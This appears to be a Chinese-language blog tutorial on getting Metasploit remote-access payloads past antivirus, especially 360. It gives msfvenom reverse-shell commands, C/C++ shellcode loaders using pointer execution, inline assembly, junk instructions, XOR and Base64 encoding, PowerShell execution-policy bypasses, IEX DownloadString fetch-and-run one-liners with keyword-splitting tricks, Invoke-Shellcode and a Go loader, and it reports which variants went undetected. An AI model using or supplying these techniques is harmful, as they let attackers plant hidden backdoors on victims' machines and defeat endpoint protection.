远控免杀——编译篇
远控免杀——编译篇
前言
上一篇是利用各种工具进行免杀,其中很多工具涉及到对shellcode进行混淆编码的操作处理,接着用python、ruby、C/C++等语言进行编译加载
C/C++
方法
- 使用加载器加载C/C++代码
- C/C++源码 + Shellcode直接编译生成,执行Shellcode的方式有:指针执行、汇编指令执行、申请动态内存等
指针执行
msfvenom生成C语言shellcode
1 | msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.221.128 lport=4444 -f c -o shell.c |
用vs自行编译
1 | unsigned char buf[] = |
编译生成exe
还没运行文件过了两分钟就被查杀了
申请动态内存
申请动态内存并加载shellcode,shellcode代码同上
1 |
|
编译生成exe
结果和上面一样,刚传进去扫描没报毒,过一会就被查杀了
嵌入汇编加载
1 |
|
shellcode重新生成了一次,编译生成exe
msf正常上线
360静态动态均没有查杀
PS:win7中运行如果出现 vcruntime140D.dll丢失
报错,可以修改运行库为多线程(/MT)
,默认是MTD
强制类型转换
1 |
|
编译生成exe
静态没问题,执行被查杀
汇编花指令
1 |
|
编译生成exe
msf正常上线
360动态静态查杀均没查杀
XOR加密
msfvenom生成raw格式shellcode
1 | msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.221.128 lport=4444 -f raw > shellcode.raw |
用ShellcodeWrapper进行加密
1 | python shellcode_encoder.py -cpp -cs -py shellcode.raw jasontt xor |
生成C++、C#、python文件均可以用来攻击,css.exe执行C#等
C++代码如下
1 | /* |
编译生成exe
msf正常上线
这里有个小插曲,中间去上课了,本来msf正常上线说明动静态查杀都过了,但是下课回来的时候发现已经被查杀了,出现这种情况说明之前的某些免杀效果可能也只是暂时的。
Kali中运行ShellcodeWrapper可能出现的问题,解决方法如下:
问题:No module named Crypto.Hash
解决方法:
1
2 pip uninstall pycrypto
pip install pycryptodome
Base64加密
msfvenom生成base64编码shellcode
1 | msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 lhost=192.168.221.128 lport=4444 -f c > shell.c |
base64.c
1 | /* Base64 encoder/decoder. Originally Apache file ap_base64.c |
base64.h
1 |
|
shellcode.c
1 |
|
编译生成exe
msf上线
360动态静态均未查杀
C#
方法
- C#源码+shellcode直接编译
- 使用加载器加载C#代码,白名单程序加载,比如csc.exe
PS:由于win7环境问题,Vs2019编译出来的exe无法执行,后续调整后再补上 。但是思路和C/C++大同小异:用脚本对C#格式的shellcode进行加密编译生成exe;用ShellcodeWrapper加密生成的C#代码编译生成exe;
Python
方法
- python编译shellcode(python+C,base64编码,xor加密,AES加密)
- python加载器
环境问题,待补
Powershell
基础知识
常见执行方式
- 网络环境直接执行代码,可以加载远程脚本
- 本地执行,需要把ps1脚本下载到本地执行
执行策略
查看执行策略powershell Get-ExecutionPolicy
六种执行策略:
Unrestricted 权限最⾼,可以不受限制执⾏任意脚本
Restricted 默认策略,不允许任意脚本的执⾏
AllSigned 所有脚本必须经过签名运⾏
RemoteSigned 本地脚本⽆限制,但是对来⾃⽹络的脚本必须经过签名
Bypass 没有任何限制和提示
Undefined 没有设置脚本的策略
默认情况下是禁止脚本执行的,管理员可以通过powershell Set-ExecutionPolicy Unrestricted
设置执行策略
绕过执行策略的方法:
本地读取后通过管道符运行
1
powershell Get-Content 1.ps1 | powershell -NoProfile -
远程下载并通过IEX运行脚本
1
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://[your id]/ps/a.ps1')"
Bypass执行策略
1
powershell -ExecutionPolicy bypass -File ./a.ps1
Unrestricted执行策略标志
1
powershell -ExecutionPolicy unrestricted -File ./a.ps1
ps1本地执行
1 | msfvenom -p windows/x64/meterpreter/reverse_https -e x86/shikata_ga_nai -i 10 -b '\x00' lhost=192.168.221.128 lport=4444 -f psh -o shell.ps1 |
把生成的ps1脚本放到win7本地执行
1 | powershell.exe -ExecutionPolicy Bypass -NoExit -File shell.ps1 |
360动静态都可查杀
PS:msf编码次数过多容易报错,但是少了容易被查杀,都是有可能的
Invoke-Shellcode加载
Powersploit是一款基于powershell的渗透框架
Invoke-Shellcode可以将 shellcode 注入您选择的进程 ID 或本地 PowerShell 中
利用流程如下:
- IEX远程下载Invoke-Shellcode.ps1或者在Kali上安装搭建powersploit用于下载脚本
- msf生成powershell脚本并监听
- IEX远程下载msf脚本
- 用Invoke-Shellcode运行脚本
1 | IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1") |
Invoke-Obfuscation
Invoke-Obfuscation是一个用来对powershell脚本编码免杀的工具,之前在做内网渗透靶场的时候用到过,具体使用可见另一篇博客
生成powershell马
1 | msfvenom -p windows/x64/meterpreter/reverse_https -e x86/shikata_ga_nai -i 15 -b '\x00' lhost=192.168.221.128 lport=4444 -f psh -o shell.ps1 |
运行Invoke-Obfuscation
设置好脚本路径,设置编码方式,编码完成后输出脚本文件即可
免杀效果不如之前了,换了好几种编码方式都被杀了
ps1行为免杀
powershell执行远程下载或者执行shellcode容易触发行为检测
可以尝试对DownloadString、http等敏感词进行替换拼接,如
1 | powershell -NoExit "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://ip/shell.ps1'')'.Replace('123','adString');IEX ($c1+$c2)" |
经测试replace也会被行为检测,但这作为思路保留也还是可以尝试其他方法
小结
Powershell的行为被盯得比较紧,最好还是与其他免杀方法结合来使用,直接用powershell执行大概率会被问询
Go
方法
- 将shellcode嵌入go代码编译成exe
- 使用go的加载器
golang编译shellcode脚本网上可以找找,思路和上面几种语言一样就不测试了
go-shellcode加载器
1 | git clone https://github.com/brimstone/go-shellcode |
生成HEX格式shellcode
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp -f hex -o shell.hex LHOST=192.168.221.128 LPORT=4444 |
在linux或者windows里编译都行,直接sc shellcode
或sc.exe shellcode
执行
360对sc并没有查杀,执行也没有查杀,但是msf收不到meterpreter一直挂,目前没有解决
Ruby
ruby加载shellcode
没有找到ruby的加载器,操作详见链接,win7上没有ruby环境,在实际场景中目标服务器有ruby可以尝试使用,还是比较冷门的,工具中用ruby编译的也比较少
总结
通过各种语言结合编码混淆的方式对shellcode进行自编译,免杀效果比工具篇中直接用工具进行免杀的效果更好,学习测试过程中还是存在不少问题没有解决和理解,还是需要更多的使用经验和积累
空的部分先挖个坑